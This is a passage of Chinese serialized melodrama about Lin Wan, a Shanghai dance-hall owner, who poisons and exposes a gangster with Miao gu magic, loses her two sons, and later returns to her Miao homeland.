办公室的门被轻轻推开，许玉溪站在门口，身上穿着一件干净的白衬衫，手里端着一碗温热的粥。他看见林晚苍白的脸色，脚步顿住，眼底闪过一丝担忧。 林晚连忙收敛情绪，将琉璃瓶塞进抽屉里，扯出一抹勉强的笑意：“怎么起来了？不多睡会儿？” “我听见你打电话了。”许玉溪走进来，将粥放在桌上，声音带着几分哽咽，“娘，你是不是答应李老板了？你不用这样的，我们可以想别的办法……” “没有别的办法。”林晚打断他，语气带着不容置疑的强硬，却又藏着一丝不易察觉的疲惫，“玉溪，你听着，从今天起，你待在百乐门，哪里都不要去。好好跟着保镖学些防身的本事，好好研究你那些草药。其他的事，不用你管。” “我不管？”许玉溪猛地提高声音，眼眶通红，“娘，你为了我，要去受那样的委屈，我怎么可能不管？我是个男人，我能保护你！” “你保护我？”林晚看着他，忽然笑了，笑声里带着几分自嘲，“你连自己都护不住，怎么保护我？昨天要不是保镖及时赶到，你现在已经在李老板的手里了！” 许玉溪的脸瞬间白了，他攥紧拳头，指甲深深嵌进掌心，却一句话也说不出来。 林晚看着他的样子，心里一软，语气缓和了些：“玉溪，听话。这是我唯一的办法。等过了这段时间，娘会想办法脱身的。你只要好好的，娘做什么都愿意。” 许玉溪看着她眼底的红血丝，看着她鬓边的几缕碎发，眼泪终于忍不住掉了下来。他知道，娘亲说的是对的，他现在太弱小了，弱小到只能眼睁睁看着娘亲为他牺牲。 “娘……”他哽咽着，扑进林晚的怀里，“对不起，都是我的错……” 林晚身体一僵，随即抬手，轻轻拍着他的背，眼眶也红了。她的儿子，本该是苗寨里无忧无虑的少主，本该是香港街头那个能吃到糖果就笑的孩子，却因为她，卷入了上海滩的刀光剑影里。 “不是你的错。”林晚的声音带着浓重的鼻音，“是娘没用，没能护好你。” 母子俩相拥着，沉默了许久。窗外的阳光越来越亮，透过百叶窗，在地上投下一道道光影，像极了他们此刻的人生，一半光明，一半阴霾。 下午的时候，李老板派来的车停在了百乐门门口。是一辆锃亮的黑色劳斯莱斯，车身擦得能映出人影。司机恭敬地站在车旁，等着林晚上车。 百乐门的员工们都站在门口，看着林晚从里面走出来，眼底满是不舍和担忧。林晚穿着一身素色的旗袍，头发梳得一丝不苟，脸上没有任何表情，只有眼尾的红痣，透着一股艳烈的倔强。 她走到许玉溪面前，抬手，轻轻抚过他的脸颊：“记住娘的话，好好待着。” 许玉溪咬着唇，点了点头，不敢说话，怕一开口，眼泪就会掉下来。 林晚又看向站在一旁的保镖队长，眼神锐利：“看好少爷，看好百乐门。” “是，老板！”保镖队长躬身应道，声音铿锵有力。 林晚最后看了一眼百乐门，看了一眼门口的众人，看了一眼站在那里，哭得像个孩子的许玉溪，转身，决绝地走上了劳斯莱斯。 车门关上的瞬间，隔绝了外面的世界。林晚靠在椅背上，闭上眼，一行清泪顺着脸颊滑落。 劳斯莱斯缓缓驶离百乐门，朝着李公馆的方向驶去。车窗外，上海滩的街景缓缓后退，霓虹闪烁，车水马龙，却没有一处是她的归宿。 李公馆坐落在法租界的深处，是一栋气派的洋楼，院子里种着名贵的花草，门口站着荷枪实弹的保镖，透着一股奢靡而压抑的气息。 车停在门口，司机恭敬地为林晚打开车门。林晚走下车，抬头看着眼前的洋楼，眼底闪过一丝厌恶，却又很快被她压了下去。 李老板早就等在客厅里了，他穿着一身丝绸睡衣，手里把玩着一个翡翠鼻烟壶，看见林晚走进来，眼底闪过一丝惊艳和贪婪。 “阿晚，你可算来了。”李老板笑着迎上来，伸手就要去搂她的腰。 林晚不动声色地避开，声音冷得像冰：“李老板，我们说好的，各取所需。” 李老板的手僵在半空，随即哈哈一笑，收回手：“好，各取所需。我李长河说话算话，只要你乖乖听话，许玉溪那边，我不会动他一根手指头。” 他顿了顿，目光落在林晚身上，带着毫不掩饰的占有欲：“楼上的房间，我已经给你准备好了。从今天起，你就住在这里。” 林晚没有说话，只是跟着佣人上了楼。 楼上的房间很大，布置得极尽奢华，却透着一股陌生的气息。林晚走到窗边，看着院子里的花草，目光悠远。她的手悄悄伸进旗袍的口袋里，指尖触到了一个小小的瓷瓶，里面装着的，是苗寨最烈的蛊毒。 她从来没想过要真的屈服。 答应李老板，不过是缓兵之计。她要留在他身边，找出他的把柄，找出他勾结青帮和巡捕房的证据。她要让他身败名裂，要让他付出代价。 为了玉溪，为了百乐门，为了她自己。 夜色渐深，李公馆的客厅里传来一阵喧闹的笑声。林晚站在窗边，听着那些刺耳的声音，眼底闪过一丝寒光。她抬手，轻轻摩挲着瓷瓶，嘴角勾起一抹冰冷的笑意。 李长河，你以为你赢了吗？ 你不知道，苗寨的蛊，从来都不是用来伤人的，而是用来索命的。 你欠我的，欠玉溪的，我会一点一点，全部讨回来。 窗外的月光，透过玻璃照进来，落在林晚的身上，将她的影子拉得很长很长。她的身影，在月光下，显得格外决绝，又格外孤单。 第二天一早，林晚就被一阵敲门声吵醒。佣人站在门口，恭敬地说：“林小姐，李老板让您下楼用早餐。” 林晚揉了揉眉心，起身换了一身衣服。下楼时，李老板正坐在餐桌前，看着报纸。看见她下来，笑着招手：“阿晚，过来坐。” 林晚走过去，坐在他对面，拿起一片面包，却一点胃口也没有。 “怎么？不合胃口？”李老板放下报纸，看着她，“想吃什么，我让厨房做。” “不用。”林晚淡淡道。 李老板笑了笑，没再说话。他看着林晚，眼底满是算计。他知道，林晚不是心甘情愿的，但他不在乎。他有的是办法，让这个女人彻底臣服于他。 吃过早餐，李老板去了公司。林晚一个人留在公馆里，百无聊赖地走着。她仔细观察着公馆的布局，留意着每一个保镖的位置，每一个房间的门牌号。她的脑海里，正在酝酿着一个周密的计划。 下午的时候，林晚借口出去买东西，坐上了李老板派给她的车。司机恭敬地问：“林小姐，想去哪里？” “去百乐门。”林晚道。 司机愣了一下，随即点头：“好的。” 车停在百乐门门口，林晚走下车。看着熟悉的招牌，看着门口站着的保镖，她的心里涌起一股暖流。 许玉溪早就等在门口了，看见她，快步跑过来，眼底满是担忧：“娘，你怎么样？李老板有没有欺负你？” 林晚看着他，抬手，轻轻摸了摸他的头：“我没事。你怎么样？有没有好好吃饭？” “我没事。”许玉溪点点头，“娘，你先进来，我有话跟你说。” 林晚跟着许玉溪走进百乐门的办公室，保镖队长跟进来，递上一份文件：“老板，这是我们查到的，李老板最近和青帮的交易记录。” 林晚接过文件，快速翻看着，眼底闪过一丝寒光。果然，李老板和青帮勾结，走私军火，牟取暴利。 “干得好。”林晚道，“继续查，把证据做实。” “是。”保镖队长应道。 许玉溪看着她，声音带着几分急切：“娘，我们什么时候动手？” 林晚看着他，笑了笑：“不急。我们要等一个最好的时机。” 她顿了顿，目光落在文件上，声音冷得像冰：“李长河的好日子，快要到头了。” 夕阳西下，余晖洒在百乐门的招牌上，镀上了一层金色的光芒。林晚站在窗边，看着窗外的街景，嘴角勾起一抹自信的笑意。 她知道，这场战争，才刚刚开始。 但她有信心，她一定会赢。 为了她的儿子，为了她的百乐门，为了她失去的一切。 夜色再次降临，林晚回到了李公馆。李老板正在客厅里等着她，看见她回来，笑着问：“去哪里了？这么晚才回来？” “去百乐门转了转。”林晚淡淡道。 李老板笑了笑，走上前，伸手搂住她的腰：“以后想出去，跟我说一声。我陪你去。” 林晚身体一僵，随即放松下来，她抬起头，看着李老板，眼底闪过一丝算计，却又很快被她掩饰过去：“好。” 李老板看着她顺从的样子，满意地笑了。他以为，他已经彻底驯服了这个女人。 却不知道，一条毒蛇，正在悄悄苏醒。 而他，即将成为毒蛇口中的猎物。 接下来的日子里，林晚表面上对李老板百依百顺，暗地里却在加紧收集证据。许玉溪也没闲着，他跟着保镖学习防身术，研究草药，制作出了一种能解蛊毒的解药。 百乐门的生意越来越红火，林晚将百乐门打理得井井有条，让李老板越来越信任她。他甚至将一些不重要的生意，交给林晚去打理。 林晚利用这个机会，接触到了更多的人，收集到了更多的证据。她知道，时机快要成熟了。 这天晚上，李公馆里举办了一场盛大的晚宴，邀请了上海滩的各界名流。林晚穿着一身华丽的旗袍，挽着李老板的手臂，穿梭在宾客之间，笑得得体而优雅。 没有人知道，这个看似温顺的女人，心里藏着怎样的惊天秘密。 晚宴进行到一半，林晚借口去洗手间，悄悄离开了宴会厅。她来到李老板的书房，用早就配好的钥匙打开了保险柜。保险柜里，放着一份李老板和巡捕房高层勾结的证据，还有一份走私军火的账本。 林晚快速将这些东西放进随身携带的包里，正准备离开，书房的门突然被推开了。 李老板站在门口，脸色阴沉得可怕：“你在干什么？” 林晚心里一惊，随即冷静下来，她转过身，看着李老板，嘴角勾起一抹冰冷的笑意：“李老板，你以为，我真的会心甘情愿地跟着你吗？” 李老板的脸色更加阴沉，他一步步走上前，眼神凶狠：“你敢耍我？” “不是耍你，是你太蠢。”林晚道，“你以为，凭你这点本事，就能困住我？就能伤害我的儿子？” 她顿了顿，抬手，从包里拿出一个瓷瓶，眼底闪过一丝寒光：“你还记得这个吗？苗寨的蛊毒。你以为，我这些日子，对你百依百顺，是为了什么？不过是为了让你放松警惕，让你尝尝蛊毒的滋味。” 李老板的脸色瞬间惨白，他捂着胸口，感觉一阵剧痛袭来。他这才想起，这些日子，他总是觉得身体不舒服，原来，是林晚下了蛊。 “你……你给我下了蛊？”李老板的声音带着恐惧。 “没错。”林晚笑了，笑声里带着几分疯狂，“这蛊，叫做蚀心蛊。会一点点啃噬你的心脏，让你生不如死。” “你……你这个毒妇！”李老板怒吼着，就要扑上来。 林晚冷笑一声，侧身避开：“李长河，你作恶多端，这是你应得的报应。” 就在这时，书房的门被猛地推开，许玉溪带着保镖冲了进来。 “娘，我们来了！” 李老板看着冲进来的众人，脸色惨白如纸。他知道，他完了。 林晚看着他，声音冷得像冰：“李长河，你走私军火，勾结贪官，证据确凿。我已经把这些证据交给了报社，明天一早，你的丑闻就会传遍上海滩。” 李老板瘫倒在地，眼神涣散。 林晚走到他面前，居高临下地看着他：“你以为，你赢了吗？从一开始，你就输了。” 说完，她转身，挽着许玉溪的手，走出了书房。 宴会厅里的宾客，还在欢声笑语。没有人知道，一场惊天的变故，已经悄然发生。 第二天一早，上海滩的各大报纸，都刊登了李长河的丑闻。一时间，舆论哗然。巡捕房迫于压力，不得不将李长河逮捕归案。青帮也因为受到牵连，元气大伤。 李公馆被查封，那些名贵的花草，凋零一地，像极了李长河的下场。 林晚站在百乐门的顶层，看着窗外的阳光，长长地舒了一口气。 许玉溪走到她身边，笑着说：“娘，我们赢了。” 林晚看着他，点了点头，眼底满是欣慰。她抬手，轻轻抚过他的脸颊：“是啊，我们赢了。” 阳光洒在母子俩的身上，温暖而明亮。 上海滩的风雨，终于散去。 而他们的故事，才刚刚开始。 晨雾漫过百乐门的琉璃瓦时，许玉溪正站在顶层办公室的门口，手里攥着一个磨得发亮的木盒。 林晚刚处理完李公馆收尾的烂摊子，身上还带着夜露的凉意。她脱下沾着风尘的风衣，随手搭在沙发扶手上，转过身看见许玉溪，眼底刚泛起的一丝暖意，就被他脸上的决绝冻住了。 “有事？”林晚的声音带着几分疲惫，她以为他是来催自己去吃早餐的。 许玉溪没有说话，只是将木盒放在桌上。盒子打开，里面是一沓泛黄的信纸，还有一枚苗寨特有的银质蛊铃——那是当年许念留给林晚的信物，也是许家宗主继承人的象征。 林晚的目光落在蛊铃上，指尖猛地一颤。 “这些日子，我查了很多事。”许玉溪的声音很轻，却带着千斤重的力道，“查了苗寨的规矩，查了许家的宿命，也查了当年你和爹分开的缘由。” 他抬眼看向林晚，眼底没有丝毫温度，只有一片冰冷的漠然：“你留在上海滩，根本不是为了躲李长河，不是为了护我周全，你是为了找机会，拿回许家宗主的位置，报复当年逼走你的长老们，对不对？” 林晚的脸色瞬间惨白，她踉跄着后退一步，扶住沙发扶手才勉强站稳：“玉溪，你听谁说的……” “我不需要听谁说。”许玉溪打断她，声音硬得像石头，“你留在李长河身边，是为了利用他的势力，打通和苗寨通商的路子；你让我去淮安学医，不是真的想让我安稳度日，是怕我卷进你的复仇计划，成了你的软肋，对不对？” 他想起自己在淮安的那些日子，想起林晚派来的保镖不止一次打探苗寨的消息，想起昨夜无意间听见她和苗寨旧部的通话——那些“夺位”“清算”“血债血偿”的字眼，像一把把淬了冰的刀，狠狠扎进他的心脏。 他一直以为，娘亲的隐忍和牺牲，全是为了他。 原来，他不过是她复仇路上，一个需要被妥善安置的包袱。 “我没有……”林晚的声音发颤，她伸出手，想要去碰他的脸，却被许玉溪猛地躲开。 “你有没有，你自己心里清楚。”许玉溪的眼底漫上一层水汽，却死死咬着牙不让眼泪掉下来，“苗寨的蛊术，许家的宿命，那些刀光剑影的恩怨，我一点也不想沾。我只想做个普通的郎中，救死扶伤，安稳度日。” 他顿了顿，目光落在那枚蛊铃上，声音带着浓浓的疲惫和失望：“可你不一样。你的心里，从来都只有复仇和权势。在你眼里，我或许从来都不是你的儿子，只是你夺回宗主之位的一枚棋子。” “不是的！”林晚终于嘶吼出声，眼眶通红，“我做这些，也有你的份！等我拿回宗主之位，你就是许家名正言顺的少主，没有人敢再欺负你！” “我不要！”许玉溪猛地拔高声音，“我不要什么少主之位，我不要什么权势滔天！我只想要一个平平凡凡的娘亲，想要一段不用担惊受怕的日子！这些，你给不了我！” 他看着林晚苍白的脸，看着她鬓边新添的几缕白发，看着她眼尾那颗艳烈的红痣，一字一顿地说：“从今往后，我与你，恩断义绝。你走你的复仇路，我过我的安稳桥。我们，再无瓜葛。” 说完，他转身，决绝地朝着门口走去。 脚步落在地毯上，轻得像羽毛，却每一步都踩在林晚的心上。 林晚看着他的背影，看着他挺直的脊梁，看着他没有丝毫留恋的脚步，忽然双腿一软，跌坐在沙发上。她捂住脸，压抑的哭声终于冲破喉咙，在空旷的办公室里回荡。 木盒里的蛊铃，在晨光里轻轻晃动，发出细碎的声响，像一声声泣血的质问。 许玉溪走到门口，手搭在门把上，停顿了一瞬。 他的肩膀微微颤抖了一下，却没有回头。 他不是真的想断绝关系。 他只是不想，再被卷入那些无休止的恩怨和算计里。 他要去淮安，去那个能闻到稻花香的小院，去做一个只救死扶伤的郎中。 只是这条路，注定要一个人走。 注定要，先斩断那根连着血脉和宿命的，最疼的弦。 门被拉开，又被轻轻关上。 晨雾越来越浓，将百乐门裹得严严实实。许玉溪站在巷口，看着灰蒙蒙的天，眼泪终于无声地滑落。 “对不起，玉溪……”林晚看着门，没了声音。 那天晚上，霓虹灯很亮。 47. 回忆终结 黄沙漫过车窗的时候，林晚正把一件厚外套往许祭身上裹。十一岁的少年瘦得像根豆芽菜，脸颊被戈壁滩的风吹得通红，一双眼睛却亮得惊人，紧紧攥着方向盘下方的把手，小大人似的盯着前方连绵起伏的草原。 身后是上海滩的烽火狼烟，是李长河倒台后各方势力的反扑，是苗寨长老循着蛊踪追来的步步紧逼。她是在百乐门的地下室找到许祭的——这个她藏了十一年的小儿子，是她当年离开苗寨时，拼了半条命护住的软肋。许玉溪不知道他的存在，苗寨的人也不知道，这些年，她把他寄养在上海城郊的一户农家，只敢偷偷去看他，连一声“娘”都不敢让他当众喊。 直到李长河的人查到了农家，她才连夜带着许祭逃出来。许祭比她想象中要镇定，上车时还不忘揣上她给他买的那本《草药图册》，还有一个装着几只无毒蛊虫的小竹筒——那是她教他认的，说是能用来驱虫。 “娘，还要走多久啊？”许祭的声音带着点奶气，却刻意压低了，怕吵到开车的林晚。 林晚腾出一只手，摸了摸他乱糟糟的头发，指尖触到他发烫的耳朵，心里一阵发酸：“快了，过了前面那片戈壁，就到了。” 她没说，许祭的外婆家就在内蒙古的草场，那是她能想到的，最安全的地方。 吉普车碾过碎石路，发出咯吱咯吱的声响，车窗外的风景渐渐从林立的高楼变成无垠的草原，风里带着青草和泥土的腥气，吹散了上海滩的烟味和酒味。许祭扒着车窗往外看，眼睛瞪得圆圆的：“娘，你看！羊！好多羊！” 林晚顺着他指的方向望去，远处的羊群像一团团白棉花，散落在绿毯似的草场上，炊烟从蒙古包的顶篷袅袅升起，带着人间烟火的暖意。她紧绷了十几年的神经，忽然就松了下来，嘴角勾起一抹久违的笑。 车开到蒙古包外时，一个穿着蒙古袍的老人牵着马迎了上来，看见林晚，浑浊的眼睛瞬间亮了，用带着浓重口音的汉语喊：“晚晚！你可算回来了！” 是许祭的外婆。林晚眼眶一热，差点掉下泪来。许祭从车上跳下来，躲在她身后，怯生生地喊：“外婆。” 老人弯腰摸了摸他的头，笑得皱纹都舒展开了：“好孩子，长这么高了。” 夜里，蒙古包内点着酥油灯，昏黄的光映得四壁的挂毯暖融融的。外婆端上热气腾腾的手把肉和马奶酒，又给许祭盛了一碗羊奶。许祭饿坏了，捧着碗吃得狼吞虎咽，嘴角沾着油渍。林晚坐在一旁，看着他，眼眶微微发热。 这些年，她在上海滩刀尖舔血，为的就是护着两个儿子。许玉溪在淮安安稳学医，许祭在她的庇护下长大，可她还是没能护住周全，终究是带着小的，逃到了这片遥远的草原。 “外婆，这里有草药吗？”许祭忽然抬头，指着自己怀里的《草药图册》，“娘教我认过，说草原上的草药，比城里的好。” 外婆笑着点头：“有！多得很！明天外婆带你去采！” 许祭眼睛一亮，转头看向林晚，眼里满是期待：“娘，我们以后就在这里好不好？不用躲，不用跑，还能采草药。” 林晚的心猛地一颤，伸手揉了揉他的头，声音带着几分哽咽：“好，我们就在这里。” 夜深了，许祭躺在厚厚的毡毯上，很快就睡着了，小脸上还带着满足的笑意。林晚坐在他身边，借着酥油灯的光，看着他的睡颜，指尖轻轻拂过他的眉眼——和许玉溪小时候，一模一样。 她想起许玉溪决绝的背影，想起那张写着“恩断义绝”的信纸，喉咙里像是堵着一团棉花，涩得发疼。她不知道，这辈子还能不能再见到那个大的孩子，只希望他能在淮安，安稳度日，再也不要卷进这些恩怨里。 许祭翻了个身，嘟囔着喊了一声“娘”，小手还抓着她的衣角。林晚俯身，在他额头上轻轻印下一个吻，眼眶里的泪，终于无声地滑落。 窗外的星空格外澄澈，星星像是撒在黑丝绒上的碎钻，亮得晃眼。草原的风轻轻吹过蒙古包的帘角，带着青草的气息，温柔得像是母亲的手。 林晚知道，从这一刻起，上海滩的林老板已经死了。 她只是许祭的娘，一个想带着儿子，在草原上安安稳稳过日子的女人。 深秋的风卷着草原的草屑，刮得蒙古包的帘角猎猎作响。林晚正蹲在地上，教许祭辨认车前草，十一岁的少年手里攥着小锄头，鼻尖沾着泥土，眼里满是雀跃的光。 “娘，这个是不是能治拉肚子？”许祭举着一株绿油油的草，声音脆生生的。 林晚刚要点头，远处突然传来一阵汽车引擎的轰鸣声。那声音尖锐刺耳，和草原的宁静格格不入。她的脸色瞬间煞白，猛地将许祭拽到身后，抬头望去——三辆黑色的轿车正朝着这边疾驰而来，扬起漫天黄沙。 是青帮的人。 李长河倒台后，青帮群龙无首，几个堂主为了争夺地盘，把主意打到了她身上。他们知道，她手里握着苗寨的蛊术秘辛，也知道，她是牵制许家的最好筹码。 轿车停在蒙古包前，车门被猛地推开，十几个穿着黑西装的壮汉涌下来，为首的正是青帮的二堂主，脸上那道刀疤在阳光下格外狰狞。 “林老板，好久不见。”刀疤脸冷笑一声，目光落在林晚身上，“上海滩的生意，还等着您回去主持呢。” 林晚紧紧攥着许祭的手，指尖冰凉，声音发颤却带着硬气：“我已经不是什么林老板了，你们找错人了。” “找错人？”刀疤脸嗤笑，挥手示意手下上前，“整个上海滩都知道，只有你能镇住那些老东西。识相的，就乖乖跟我们走，不然……” 他的目光扫过躲在林晚身后的许祭，眼底闪过一丝狠戾。 林晚的心猛地一沉。她知道，这些人什么事都做得出来。她不怕死，可她不能让许祭出事。 “我跟你们走。”林晚咬着牙，一字一顿地说，“但我有条件，不准动这个孩子一根手指头。” 刀疤脸挑眉：“条件？你现在没资格谈条件。不过，看在你乖乖听话的份上，我可以饶他一命。” 他挥了挥手，两个壮汉上前，就要去抓林晚的胳膊。 “娘！”许祭突然挣脱林晚的手，扑上去咬住其中一个壮汉的手腕，声音带着哭腔，“不准你们抓我娘！” 壮汉吃痛，抬手就要打下去。林晚眼疾手快，一把将许祭护在怀里，死死瞪着那壮汉：“谁敢动他，我就让他尝尝蚀心蛊的滋味！” 她的声音里带着一股狠劲，眼底的寒意让壮汉不由得停住了手。刀疤脸知道她的厉害，皱了皱眉：“把人看好，别伤了他。” 林晚低头看着怀里哭得撕心裂肺的许祭，心像是被生生撕开一道口子，疼得她喘不过气。她抬手，轻轻擦去许祭脸上的泪水，声音温柔得近乎破碎：“祭祭，乖，别哭。” “娘，我不要你走！”许祭死死抱着她的腰，不肯松手，“我们说好的，要在这里放羊，采草药，永远不分开的！” 林晚的眼眶瞬间红了，眼泪掉落在许祭的头发上，烫得惊人。她知道，这一去，就是永别。青帮的人不会给她再回来的机会，而她，也不能连累这个孩子，让他跟着自己，一辈子活在刀光剑影里。 她狠下心，掰开许祭的手。 “祭祭，听娘的话。”林晚看着他的眼睛，一字一句地说，“以后，要好好跟着外婆，好好学习认草药，好好长大。” “娘！” “忘了娘。”林晚的声音带着一丝颤抖，却无比坚定，“就当，从来没有过娘这个亲人。” 说完，她猛地转过身，不再看许祭一眼，任由那些壮汉将她架着，塞进了轿车。她怕自己多看一眼，就会忍不住反悔，就会不顾一切地留下来。 轿车缓缓驶离，林晚靠在车窗上，看着后视镜里那个小小的身影。许祭追着车跑，一边跑一边喊“娘”，声音嘶哑，像是要喊碎天际。 他摔倒了，又爬起来，继续跑，直到再也看不见车的影子，才瘫坐在地上，放声大哭。 后视镜里的身影越来越小，越来越模糊，最终消失在茫茫的草原里。 林晚闭上眼，一行清泪顺着脸颊滑落。她抬手，摸了摸胸口，那里藏着一个小小的银质蛊铃，是她给许祭做的护身符。 她知道，从今往后，山长水远，他们母子俩，再也不会相见了。 轿车朝着上海滩的方向疾驰而去，草原的风越来越远，而那片辽阔的、曾承载过她短暂幸福的土地，终究成了回不去的故乡。 草原的风卷着秋草的碎屑，掠过毡房的穹顶时，带起一阵簌簌的轻响。十四岁的许祭蹲在药草畦边，指尖正捻着一株刚冒芽的防风，眉眼间已经褪去了少年的稚气，透着几分沉静的韧劲儿。 雅玛珍拄着羊腿骨做的拐杖，缓步走到他身后，苍老的脸上刻满了岁月的沟壑，目光却像草原的星空一样清亮。她看着许祭手里的草药，又望向远处连绵的天际——那里的方向，是千里之外的苗寨。 “祭祭。”雅玛珍的声音带着蒙古语特有的粗粝，裹着一丝不易察觉的沉重，“你娘走了三年了。” 许祭的指尖猛地一顿，防风的叶片被他掐出一道浅浅的印子。他没有回头，只是低低地“嗯”了一声。三年来，他没有一天不想林晚。梦里的娘亲，有时是上海滩霓虹里那个穿着绯色旗袍的女人，有时是草原上教他认草药的、眉眼温柔的母亲。可他知道，娘亲不会回来了。 雅玛珍叹了口气，弯腰坐在他身边，从怀里掏出一个用油布包得严严实实的小包裹，递到他手里：“这是你娘临走前，托我收着的。她说，等你长到十四岁，就让你带着这个，回苗寨去。” 许祭的心跳骤然加快，他颤抖着打开油布包，里面是一枚银质的蛊铃，铃身上刻着繁复的苗家花纹，还有一本泛黄的小册子，封面上写着《苗疆蛊草录》。蛊铃被摩挲得发亮，显然是林晚常年带在身边的物件。 “苗寨？”许祭终于抬起头，眼底满是茫然，“我去那里做什么？” “去找你哥哥。”雅玛珍伸手，轻轻拍了拍他的肩膀，“你还有个哥哥，叫许玉溪，在淮安学医。你娘说，苗寨是你们的根，那里有能护着你们的人，也有你娘藏下的东西。” 她顿了顿，眼神变得悠远：“青帮的人还在找你娘，上海滩是是非之地，草原也未必能护你一辈子。苗寨地势偏，族里的老人虽然古板，却重血脉。你带着蛊铃去，他们会认你是许家的孩子。” 许祭攥着那枚蛊铃，冰凉的银质贴着掌心，却仿佛有一股滚烫的热流，顺着血管蔓延到四肢百骸。他想起娘亲临走前，抱着他说的那句“忘了娘”，原来不是真的要他忘，而是要他好好活着，要他找到自己的根。 “外婆……”许祭的声音带着哽咽，“我舍不得你。” 雅玛珍笑了，眼角的皱纹挤成一团，伸手揉了揉他的头发：“傻孩子，外婆老了，守不住你一辈子。你是许家的种，该去闯闯自己的路。”她站起身，指了指毡房外拴着的那匹枣红马，“我已经给你备好了行囊，还有盘缠。明天一早，你就走。顺着南边的路走，到了云贵边界，自然有人认得许家的蛊铃。” 那天夜里，许祭躺在毡房里，手里紧紧攥着蛊铃和小册子。风从帘缝里钻进来，带着马奶酒的醇香和草药的清苦。他想起三年前，娘亲被青帮的人带走时，他追着车跑了很远很远，直到摔倒在黄沙里，看着轿车的影子消失在天际。 那时他只有十一岁，只能哭。 现在他十四岁了，他能骑马，能认草药，能握着娘亲留下的蛊铃，去走一条娘亲替他选的路。 第二天破晓时分，草原的天边泛起鱼肚白。许祭穿着雅玛珍连夜缝好的蓝布褂子，背上沉甸甸的行囊，翻身上了枣红马。 雅玛珍站在毡房前，手里捧着一个装着奶皮子的布包，递给他：“路上吃。到了苗寨，好好活着，替你娘，替你自己，好好活着。” 许祭接过布包，喉头哽咽，说不出一个字。他用力攥着缰绳，对着雅玛珍磕了三个头。 “外婆，你要好好的。” 雅玛珍摆摆手，别过脸，不让他看见自己眼角的泪。 枣红马踏着晨光，朝着南边疾驰而去。许祭伏在马背上，回头望了一眼——毡房越来越小，草原越来越辽阔，雅玛珍的身影，最终成了一个小小的黑点。 风在耳边呼啸，他从怀里掏出那枚蛊铃，轻轻晃了晃。 叮—— 清脆的铃声，在草原的晨风中散开，像是娘亲温柔的叮咛。 许祭握紧缰绳，目光望向南方。 苗寨。 许玉溪。 还有娘亲留下的那些秘密。 他都要一一找回来。 苗寨的吊脚楼里，火塘的火苗噼啪作响，映得四壁的苗绣挂毯明明灭灭。许祭指尖捻着那枚银质蛊铃，铃身上的纹路被摩挲得发亮，沈司南坐在对面的竹凳上，手里端着一碗温热的米酒，目光沉静地看着他。 方才的半个时辰里，许祭断断续续说着草原的风，说着雅玛珍的手把肉，说着三年前林晚被青帮的人带走时，那漫天黄沙里，他追着轿车跑断了腿的模样。说着说着，声音就哑了，眼底的光也暗了下去。 “后来我就骑着外婆的枣红马，顺着南边的路走，走了三个月，才到云贵边界。”许祭的声音很轻，带着点草原风沙磨出来的粗粝，“有人认得这枚蛊铃，把我带进了苗寨。他们说，我娘是许家最倔的姑娘，当年为了护着两个儿子，敢跟整个长老会叫板。” 沈司南没说话，只是将手里的米酒推到他面前。许祭端起来喝了一口，辛辣的酒液滚过喉咙，烫得眼角泛起湿意。 “我总想着，娘会不会还活着。”许祭低头看着蛊铃，声音里带着一丝自己都没察觉的奢望，“青帮的人抓她回上海滩，是为了蛊术秘辛。只要她肯松口，应该……应该能活下来吧。” 沈司南终于开口，声音低沉温和：“你娘的性子，我清楚。她宁肯豁出性命，也不会把许家的东西，交给那些豺狼。”他顿了顿，补充道，“当年她带着你躲去草原，就没想过再回头。她留下蛊铃和《苗疆蛊草录》，是想让你认祖归宗，不是让你困在过去的事里。” 许祭攥紧了蛊铃，冰凉的银质硌得掌心发疼。他想起雅玛珍送他走时说的话，想起这些年在苗寨，族里的老人教他养蛊、辨草，说他眉眼像极了年轻时的林晚。 “我还没找到我哥。”许祭抬起头，眼底闪过一丝坚定，“外婆说他在淮安学医，我总要去一趟，告诉他，娘从来没有想过利用他，从来没有。” 沈司南看着他，嘴角勾起一抹浅淡的笑意。这个十四岁的少年，身上带着草原的坦荡和苗寨的坚韧，像极了当年那个敢爱敢恨的林晚。 “淮安不远。”沈司南站起身，走到火塘边添了一把柴，“等过了苗寨的祭祀大典，我陪你去。” 火苗蹿高了些，映得许祭的脸颊暖融融的。他看着沈司南的背影，忽然想起族里老人说的，沈司南是当年唯一站在林晚这边，替她说话的人。 “沈叔。”许祭忽然喊了一声。 沈司南回头看他。 “我娘……她在上海滩的时候，是不是很辛苦？” 沈司南沉默片刻，点了点头，声音里带着一丝不易察觉的叹息：“她是个好母亲，也是个好姑娘。只是命太苦。” 吊脚楼外，传来苗寨姑娘的歌声，清脆婉转，混着夜风里的桂花香。火塘的火苗渐渐平稳下来，发出细碎的声响。 许祭将蛊铃揣进怀里，紧紧贴着心口。那些翻涌的回忆，那些压在心底的思念和委屈，好像在这一刻，都被火塘的暖意，熨帖得平平整整。 他知道，过去的事，终究是过去了。 但他要带着娘的念想，找到哥哥，守好苗寨。 这才是对娘最好的交代。 夜色渐深，吊脚楼里的火光，亮得像一颗不落的星。 苗寨的夜来得沉，山风卷着木叶的清香，掠过吊脚楼的飞檐。林晚抱着一坛米酒，坐在最高那座木屋的屋顶上，赤脚踩着青黑的瓦片，酒红色的卷发被风吹得凌乱，沾着些微的夜露。 她逃出来了。 从上海滩的囚笼里，从青帮的刀光剑影里，九死一生，兜兜转转，竟又回到了这片生她养她的土地。可这里早就不是她的家了。长老会的人视她为叛逆，许家的祠堂里，没有她的位置，更没有她两个儿子的名字。 酒坛子被她拍开泥封，辛辣的酒香漫出来，混着风里的桂花香，呛得她眼眶发酸。她仰头灌了一大口，酒液烧过喉咙，烫得她心口一阵抽痛。 她想起许玉溪。 那年在百乐门的办公室，少年攥着那张写满决绝的信纸，眼底的失望像刀子，一刀刀剜着她的心。他说“恩断义绝”，他说她心里只有复仇和权势，他说他只想做个普通的郎中。 林晚笑了，笑着笑着，眼泪就掉了下来。 傻孩子，娘哪里是想要什么宗主之位。娘只是想护着你，护着你能安安稳稳地长大，能不用沾血，不用躲债，能在淮安的小院里，守着草药香过一辈子。 她又灌了一口酒，酒坛子撞在瓦片上，发出沉闷的声响。 然后是许祭。 十一岁的少年，在草原的黄沙里追着车跑，撕心裂肺地喊着“娘”。他的小脸上沾着泥土和泪水，小手死死攥着她的衣角，不肯松开。她狠心地掰开他的手，不敢回头，怕一回头，所有的伪装都会崩塌。 她还记得，他趴在壮汉的手腕上狠狠咬下去，像只护崽的小狼。 林晚捂住脸，肩膀剧烈地颤抖起来。 